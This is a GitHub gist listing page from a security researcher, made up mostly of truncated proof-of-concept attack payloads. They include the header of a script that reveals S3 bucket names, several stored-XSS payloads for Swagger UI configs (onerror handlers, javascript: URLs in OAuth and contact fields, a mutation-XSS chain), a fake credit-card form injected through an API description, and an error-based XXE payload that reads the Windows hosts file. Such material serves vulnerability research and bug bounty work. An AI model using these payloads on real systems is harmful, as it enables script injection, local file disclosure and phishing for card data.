Skip to content

Instantly share code, notes, and snippets.

View danzajork's full-sized avatar
💻
hacking

Dan danzajork

💻
hacking
14 followers · 4 following
View GitHub Profile
@danzajork
danzajork / bucket-disclose.sh
Created November 18, 2023 17:20 — forked from fransr/bucket-disclose.sh
Using error messages to decloak an S3 bucket. Uses soap, unicode, post, multipart, streaming and index listing as ways of figure it out. You do need a valid aws-key (never the secret) to properly get the error messages
#!/bin/bash
# Written by Frans Rosén (twitter.com/fransrosen)
_debug="$2" #turn on debug
_timeout="20"
#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key
_aws_key="AKIA..."
H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3"
H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"
@danzajork
danzajork / test.html
Last active February 4, 2023 02:42
<html>
<script>
let foo = "test</script>alert(1)"
</script>
</html>
@danzajork
danzajork / configUrl.json
Created May 17, 2022 12:02
swagger xss - new
{
"url": "https://gist.githubusercontent.com/danzajork/c89dd2a92088567386a474bcdd22df0a/raw/4b8186abf7db41810735376ce86dd294d7eaeb9b/test.yaml",
"urls": [
{
"url": "https://gist.githubusercontent.com/danzajork/c89dd2a92088567386a474bcdd22df0a/raw/4b8186abf7db41810735376ce86dd294d7eaeb9b/test.yaml",
"name": "Foo"
}
]
}
@danzajork
danzajork / test.yaml
Created May 17, 2022 12:02
swagger xss yaml - new
swagger: '2.0'
info:
title: Classic API Resource Documentation
description: |
<form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(document.domain) src=1>"></form>
version: production
basePath: /JSSResource/
produces:
- application/xml
@danzajork
danzajork / poc.xml
Created May 10, 2022 17:16
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY &#x25; file SYSTEM "file://c:\Windows\System32\Drivers\etc\hosts">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://t/#&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ENTITY test "test"'
>
%local_dtd;
@danzajork
danzajork / swagger-content-injection.json
Created February 22, 2022 19:45
urls: [
{
"url": "https://gist.githubusercontent.com/danzajork/f6273f7d00620da3f6f3e3c04ec68002/raw/17546e73f8f52a31f7c8360e5a342812405a23e1/cc.yaml",
"name": "Petstore"
},
{
"url": "https://gist.githubusercontent.com/danzajork/0998810ee062fc9004b4ccf468fa42b0/raw/6efd1d76a3bf9c5957381162b043cce21942048c/swagger-xss-oauth2.yml",
"name": "Petstore2"
},
{
@danzajork
danzajork / cc.yaml
Created June 11, 2021 15:47
swagger: '2.0'
info:
version: 1.0.0
title: HTML injection PoC
description: '<div class="creditCardForm">
<div class="heading">
<h1>Update your Credit Card</h1>
</div>
<div class="payment">
<form action="https://example.com/" method="post" class="form-signin" id = "login_form">
@danzajork
danzajork / swagger.json
Created May 11, 2021 19:11
{
"swagger": "2.0",
"info": {
"description": " <img src=x onerror=alert(document.domain)><h1>[XSS POC](javascript:alert%28document.domain%29)",
"version": "1.0.0",
"title": "Swagger XSS POC",
"termsOfService": "javascript:alert%28document.domain%29)",
"contact": {
"email": "javascript:alert%28document.domain%29)"
},
@danzajork
danzajork / config
Last active May 30, 2021 04:09
urls: [
{
"url": "https://gist.githubusercontent.com/danzajork/196a65886940b1f08eceaf2726e95361/raw/4e1d42baf2068decf2bac94fdea5926a1ea87d17/swagger.json",
"name": "Petstore"
},
{
"url": "https://gist.githubusercontent.com/danzajork/0998810ee062fc9004b4ccf468fa42b0/raw/6efd1d76a3bf9c5957381162b043cce21942048c/swagger-xss-oauth2.yml",
"name": "Petstore2"
},
{
@danzajork
danzajork / swagger-xss-oauth2.yml
Created June 2, 2020 19:39
swagger: '2.0'
securityDefinitions:
a:
type: oauth2
authorizationUrl: javascript:alert(document.domain)//
info:
version: "0.0.1"
title: Example Title
description: Please Authorize! <img src=x onerror=alert(1) />
paths: